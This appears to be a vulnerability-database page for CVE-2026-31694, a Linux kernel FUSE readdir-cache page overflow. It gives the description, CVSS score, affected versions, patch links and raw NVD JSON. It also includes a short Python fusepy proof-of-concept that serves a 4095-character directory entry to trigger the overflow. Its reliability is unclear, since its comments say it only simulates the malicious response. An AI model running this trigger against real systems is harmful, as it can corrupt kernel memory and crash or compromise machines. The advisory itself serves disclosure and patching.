CVE-2026-31694

Description

In the Linux kernel, the following vulnerability has been resolved: fuse: reject oversized dirents in page cache fuse_add_dirent_to_cache() computes a serialized dirent size from the server-controlled namelen field and copies the dirent into a single page-cache page. The existing logic only checks whether the dirent fits in the remaining space of the current page and advances to a fresh page if not. It never checks whether the dirent itself exceeds PAGE_SIZE. As a result, a malicious FUSE server can return a dirent with namelen=4095, producing a serialized record size of 4120 bytes. On 4 KiB page systems this causes memcpy() to overflow the cache page by 24 bytes into the following kernel page. Reject dirents that cannot fit in a single page before copying them into the readdir cache.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前的多个版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os
import stat
from fuse import FUSE, FuseOSError, Operations

class MaliciousFuse(Operations):
    def getattr(self, path, fh=None):
        return {'st_mode': (stat.S_IFDIR | 0o755), 'st_nlink': 2}

    def readdir(self, path, fh):
        # Standard entries
        yield '.'
        yield '..'
        # Trigger the vulnerability by returning a large name
        # Description: namelen=4095 causes overflow of 24 bytes
        # This simulates the malicious server response
        yield 'A' * 4095

if __name__ == '__main__':
    mount_point = './malicious_fuse'
    if not os.path.exists(mount_point):
        os.makedirs(mount_point)
    # Mount the file system to trigger the vulnerability on client side
    FUSE(MaliciousFuse(), mount_point, foreground=True)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31694
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31694
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31694/
[4] VulDB https://vuldb.com/cve/CVE-2026-31694
[5] https://git.kernel.org/stable/c/45c05af36311624c1148123caeb011312495d86b
[6] https://git.kernel.org/stable/c/474ce83c96a55f2eeb14dee2be375eeadfdacdf5
[7] https://git.kernel.org/stable/c/51a8de6c50bf947c8f534cd73da4c8f0a13e7bed
[8] https://git.kernel.org/stable/c/7de93abfaae1b2dc94da8a07a36421bd073f1d8f
[9] https://git.kernel.org/stable/c/d23ad78bfd205eac26766e38ba7d79f279131098

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31694", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:19.133", "lastModified": "2026-05-06T19:23:22.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfuse: reject oversized dirents in page cache\n\nfuse_add_dirent_to_cache() computes a serialized dirent size from the\nserver-controlled namelen field and copies the dirent into a single\npage-cache page. The existing logic only checks whether the dirent fits\nin the remaining space of the current page and advances to a fresh page\nif not. It never checks whether the dirent itself exceeds PAGE_SIZE.\n\nAs a result, a malicious FUSE server can return a dirent with\nnamelen=4095, producing a serialized record size of 4120 bytes. On 4 KiB\npage systems this causes memcpy() to overflow the cache page by 24 bytes\ninto the following kernel page.\n\nReject dirents that cannot fit in a single page before copying them into\nthe readdir cache."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "6.6.136", "matchCriteriaId": "6508946E-134B-4941-9550-4B3C2C1D16DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.84", "matchCriteriaId": "D4ECA0DE-AFF5-4688-B219-4CA2336CA5B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "0D38F0BF-A728-4133-A358-D44A2F7EE6D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/45c05af36311624c1148123caeb011312495d86b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/474ce83c96a55f2eeb14dee2be375eeadfdacdf5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/51a8de6c50bf947c8f534cd73da4c8f0a13e7bed", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7de93abfaae1b2dc94da8a07a36421bd073f1d8f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d23ad78bfd205eac26766e38ba7d79f279131098", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}